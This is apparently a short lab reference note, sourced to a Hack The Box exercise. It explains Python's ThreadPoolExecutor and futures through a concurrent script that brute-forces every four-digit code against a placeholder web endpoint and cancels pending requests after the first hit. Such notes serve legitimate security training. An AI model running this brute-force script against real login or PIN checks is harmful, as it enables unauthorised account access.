ThreadPoolExecutor brute force

ThreadPoolExecutor finite-keyspace brute force

A finite keyspace contains a known number of possible candidates, such as every four-digit code from 0000 through 9999. ThreadPoolExecutor(max_workers=THREADS) creates a pool containing at most THREADS worker threads and reuses those threads across the submitted requests.

submit() schedules one function call and returns a Future. A Future is a placeholder object representing a result that may still be running or waiting in the queue. as_completed() yields each Future when its call finishes, so a successful result can be handled without waiting for earlier, slower submissions.

from concurrent.futures import ThreadPoolExecutor, as_completed

THREADS = 40
WIDTH = 4

def try_candidate(s, candidate):
    data = {
        "<CANDIDATE_FIELD>": candidate
    }
    r = s.post(url=f"{URL}/<ENDPOINT>", data=data, verify=False, timeout=10, proxies=PROXIES)
    success = r.status_code == 200 and "<SUCCESS_MARKER>" in r.text
    result = success, candidate
    return result

with ThreadPoolExecutor(max_workers=THREADS) as ex:
    futures = []
    for number in range(10000):
        candidate = str(number).zfill(WIDTH)
        future = ex.submit(try_candidate, s, candidate)
        futures.append(future)

    found_candidate = None
    for future in as_completed(futures):
        success, candidate = future.result()
        if success:
            found_candidate = candidate
            for pending_future in futures:
                pending_future.cancel()
            break

if found_candidate is not None:
    print(f"[+] Candidate found: {found_candidate}")
else:
    print("[-] Candidate not found")

str(number).zfill(WIDTH) produces fixed-width values such as 0000 through 9999. After the first successful candidate, cancel() prevents queued calls that have not started from running. Calls already executing in worker threads finish normally.

_{Find by: threadpoolexecutor, brute force, bruteforce, finite keyspace, pin, access code, fixed width, zfill, as_completed, first success, cancel pending futures, worker pool · Source: HTB/DarkRunes}